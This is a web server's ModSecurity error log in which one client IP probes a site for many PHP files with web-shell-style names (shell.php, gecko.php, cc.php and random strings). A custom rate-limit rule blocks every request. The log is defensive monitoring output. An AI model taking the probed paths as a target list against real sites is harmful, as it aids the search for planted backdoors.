[Sun Dec 28 19:59:51.621590 2025] [:error] [pid 43789:tid 43800] [client 4.193.233.56:15461] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xenium4.php"] [unique_id "aVEbtwa-tUppni4CcCY0ugAAAQk"]
[Sun Dec 28 19:59:51.834984 2025] [:error] [pid 29437:tid 29485] [client 4.193.233.56:15438] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid-file.php"] [unique_id "aVEbtxhDotAbVk6pZLfFdwAAAdM"]
[Sun Dec 28 19:59:52.064427 2025] [:error] [pid 29436:tid 29463] [client 4.193.233.56:15466] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid-file.php"] [unique_id "aVEbuLchzOOtNL9VPNLw0wAAAZg"]
[Sun Dec 28 19:59:52.268058 2025] [:error] [pid 43789:tid 43812] [client 4.193.233.56:15435] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid-file.php"] [unique_id "aVEbuAa-tUppni4CcCY0vAAAARU"]
[Sun Dec 28 19:59:52.532161 2025] [:error] [pid 43789:tid 43803] [client 4.193.233.56:15418] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid-file.php"] [unique_id "aVEbuAa-tUppni4CcCY0vQAAAQw"]
[Sun Dec 28 19:59:52.816234 2025] [:error] [pid 43789:tid 43796] [client 4.193.233.56:15385] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-user.php"] [unique_id "aVEbuAa-tUppni4CcCY0wAAAAQU"]
[Sun Dec 28 19:59:53.070739 2025] [:error] [pid 29437:tid 29472] [client 4.193.233.56:15367] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-user.php"] [unique_id "aVEbuRhDotAbVk6pZLfFeQAAAcY"]
[Sun Dec 28 19:59:53.550065 2025] [:error] [pid 29436:tid 29455] [client 4.193.233.56:15456] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-user.php"] [unique_id "aVEbubchzOOtNL9VPNLw1AAAAZA"]
[Sun Dec 28 19:59:54.023593 2025] [:error] [pid 29436:tid 29450] [client 4.193.233.56:15558] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-user.php"] [unique_id "aVEburchzOOtNL9VPNLw1gAAAYs"]
[Sun Dec 28 19:59:54.260625 2025] [:error] [pid 29436:tid 29444] [client 4.193.233.56:15380] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aVEburchzOOtNL9VPNLw2QAAAYU"]
[Sun Dec 28 19:59:54.576172 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:15473] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aVEbujgtcN-KHAjWrX8b2wAAAMU"]
[Sun Dec 28 19:59:54.875393 2025] [:error] [pid 42292:tid 42305] [client 4.193.233.56:15377] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aVEbupyOrM_vaFx1osZLJgAAAAk"]
[Sun Dec 28 19:59:55.077018 2025] [:error] [pid 29436:tid 29454] [client 4.193.233.56:15389] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aVEbu7chzOOtNL9VPNLw3AAAAY8"]
[Sun Dec 28 19:59:55.321480 2025] [:error] [pid 29436:tid 29456] [client 4.193.233.56:15521] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aVEbu7chzOOtNL9VPNLw3gAAAZE"]
[Sun Dec 28 19:59:55.617286 2025] [:error] [pid 29436:tid 29453] [client 4.193.233.56:15529] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aVEbu7chzOOtNL9VPNLw3wAAAY4"]
[Sun Dec 28 19:59:55.924007 2025] [:error] [pid 42293:tid 42336] [client 4.193.233.56:15365] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aVEbu8vc9B-5cwN385LoUQAAAE0"]
[Sun Dec 28 19:59:56.163354 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:16737] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/green.php"] [unique_id "aVEbvNoLv2L2zI_SpdXhqQAAAVU"]
[Sun Dec 28 19:59:56.445480 2025] [:error] [pid 42292:tid 42303] [client 4.193.233.56:15386] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aVEbvJyOrM_vaFx1osZLJwAAAAc"]
[Sun Dec 28 19:59:56.630225 2025] [:error] [pid 42293:tid 42325] [client 4.193.233.56:16683] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aVEbvMvc9B-5cwN385LoVQAAAEI"]
[Sun Dec 28 19:59:56.954758 2025] [:error] [pid 29437:tid 29478] [client 4.193.233.56:15444] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aVEbvBhDotAbVk6pZLfFewAAAcw"]
[Sun Dec 28 19:59:57.261044 2025] [:error] [pid 42293:tid 42335] [client 4.193.233.56:15451] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mhpglaje.php"] [unique_id "aVEbvcvc9B-5cwN385LoVgAAAEw"]
[Sun Dec 28 19:59:57.566794 2025] [:error] [pid 42378:tid 42388] [client 4.193.233.56:15429] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aVEbvTgtcN-KHAjWrX8b3AAAAMg"]
[Sun Dec 28 19:59:57.777285 2025] [:error] [pid 42292:tid 42311] [client 4.193.233.56:15448] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aVEbvZyOrM_vaFx1osZLLAAAAA8"]
[Sun Dec 28 19:59:58.302786 2025] [:error] [pid 42293:tid 42347] [client 4.193.233.56:15428] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aVEbvsvc9B-5cwN385LoWAAAAFg"]
[Sun Dec 28 19:59:58.603436 2025] [:error] [pid 29436:tid 29458] [client 4.193.233.56:15397] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aVEbvrchzOOtNL9VPNLw6gAAAZM"]
[Sun Dec 28 19:59:58.831436 2025] [:error] [pid 42293:tid 42332] [client 4.193.233.56:15421] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "aVEbvsvc9B-5cwN385LoWgAAAEk"]
[Sun Dec 28 19:59:59.188232 2025] [:error] [pid 29388:tid 29419] [client 4.193.233.56:15442] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "aVEbv9oLv2L2zI_SpdXhrAAAAVc"]
[Sun Dec 28 19:59:59.462048 2025] [:error] [pid 42293:tid 42343] [client 4.193.233.56:15482] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "aVEbv8vc9B-5cwN385LoXAAAAFQ"]
[Sun Dec 28 19:59:59.699499 2025] [:error] [pid 43789:tid 43809] [client 4.193.233.56:16765] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lm15.php"] [unique_id "aVEbvwa-tUppni4CcCY0xAAAARI"]
[Sun Dec 28 19:59:59.933270 2025] [:error] [pid 29388:tid 29398] [client 4.193.233.56:15417] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aVEbv9oLv2L2zI_SpdXhrgAAAUI"]
[Sun Dec 28 20:00:00.151873 2025] [:error] [pid 29388:tid 29407] [client 4.193.233.56:15434] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aVEbwNoLv2L2zI_SpdXhrwAAAUs"]
[Sun Dec 28 20:00:00.394203 2025] [:error] [pid 29388:tid 29401] [client 4.193.233.56:15373] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aVEbwNoLv2L2zI_SpdXhsAAAAUU"]
[Sun Dec 28 20:00:00.768829 2025] [:error] [pid 42293:tid 42330] [client 4.193.233.56:15399] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aVEbwMvc9B-5cwN385LoXwAAAEc"]
[Sun Dec 28 20:00:01.031747 2025] [:error] [pid 29437:tid 29470] [client 4.193.233.56:15474] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qaez.php56"] [unique_id "aVEbwRhDotAbVk6pZLfFgQAAAcQ"]
[Sun Dec 28 20:00:01.452272 2025] [:error] [pid 29437:tid 29476] [client 4.193.233.56:15394] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qaez.php56"] [unique_id "aVEbwRhDotAbVk6pZLfFggAAAco"]
[Sun Dec 28 20:00:01.695465 2025] [:error] [pid 29388:tid 29399] [client 4.193.233.56:15340] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qaez.php56"] [unique_id "aVEbwdoLv2L2zI_SpdXhswAAAUM"]
[Sun Dec 28 20:00:02.005395 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:15375] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qaez.php56"] [unique_id "aVEbwpyOrM_vaFx1osZLLgAAAAE"]
[Sun Dec 28 20:00:02.229777 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15379] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aVEbwrchzOOtNL9VPNLw8QAAAYk"]
[Sun Dec 28 20:00:02.523166 2025] [:error] [pid 42292:tid 42313] [client 4.193.233.56:15377] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aVEbwpyOrM_vaFx1osZLMAAAABE"]
[Sun Dec 28 20:00:02.727439 2025] [:error] [pid 29436:tid 29459] [client 4.193.233.56:15603] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aVEbwrchzOOtNL9VPNLw8wAAAZQ"]
[Sun Dec 28 20:00:03.002418 2025] [:error] [pid 42292:tid 42306] [client 4.193.233.56:15469] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ijNdPI1Orya.php"] [unique_id "aVEbw5yOrM_vaFx1osZLMQAAAAo"]
[Sun Dec 28 20:00:03.246091 2025] [:error] [pid 29437:tid 29469] [client 4.193.233.56:15307] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aVEbwxhDotAbVk6pZLfFgwAAAcM"]
[Sun Dec 28 20:00:03.483080 2025] [:error] [pid 43789:tid 43803] [client 4.193.233.56:15316] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aVEbwwa-tUppni4CcCY0ywAAAQw"]
[Sun Dec 28 20:00:03.736483 2025] [:error] [pid 29436:tid 29457] [client 4.193.233.56:15372] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aVEbw7chzOOtNL9VPNLw9QAAAZI"]
[Sun Dec 28 20:00:03.950954 2025] [:error] [pid 29437:tid 29488] [client 4.193.233.56:15427] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "aVEbwxhDotAbVk6pZLfFhAAAAdY"]
[Sun Dec 28 20:00:04.336029 2025] [:error] [pid 29436:tid 29455] [client 4.193.233.56:15501] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aVEbxLchzOOtNL9VPNLw9gAAAZA"]
[Sun Dec 28 20:00:04.669223 2025] [:error] [pid 42293:tid 42327] [client 4.193.233.56:15302] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aVEbxMvc9B-5cwN385LoYwAAAEQ"]
[Sun Dec 28 20:00:05.004588 2025] [:error] [pid 42294:tid 42353] [client 4.193.233.56:15406] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aVEbxdTE5kYcYCOzl9G_QAAAAIM"]
[Sun Dec 28 20:00:05.374205 2025] [:error] [pid 42293:tid 42325] [client 4.193.233.56:15308] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HPum4ZEBJRC.php"] [unique_id "aVEbxcvc9B-5cwN385LoZQAAAEI"]
[Sun Dec 28 20:00:05.678641 2025] [:error] [pid 29437:tid 29480] [client 4.193.233.56:15331] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVEbxRhDotAbVk6pZLfFhQAAAc4"]
[Sun Dec 28 20:00:06.009292 2025] [:error] [pid 42292:tid 42296] [client 4.193.233.56:15404] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVEbxpyOrM_vaFx1osZLMwAAAAA"]
[Sun Dec 28 20:00:06.378290 2025] [:error] [pid 42378:tid 42399] [client 4.193.233.56:15432] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVEbxjgtcN-KHAjWrX8b3gAAANM"]
[Sun Dec 28 20:00:06.767769 2025] [:error] [pid 29437:tid 29485] [client 4.193.233.56:15314] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aVEbxhhDotAbVk6pZLfFhwAAAdM"]
[Sun Dec 28 20:00:07.046399 2025] [:error] [pid 42294:tid 42369] [client 4.193.233.56:15540] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aVEbx9TE5kYcYCOzl9G_QQAAAJM"]
[Sun Dec 28 20:00:07.321425 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:15371] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aVEbx9TE5kYcYCOzl9G_QgAAAI4"]
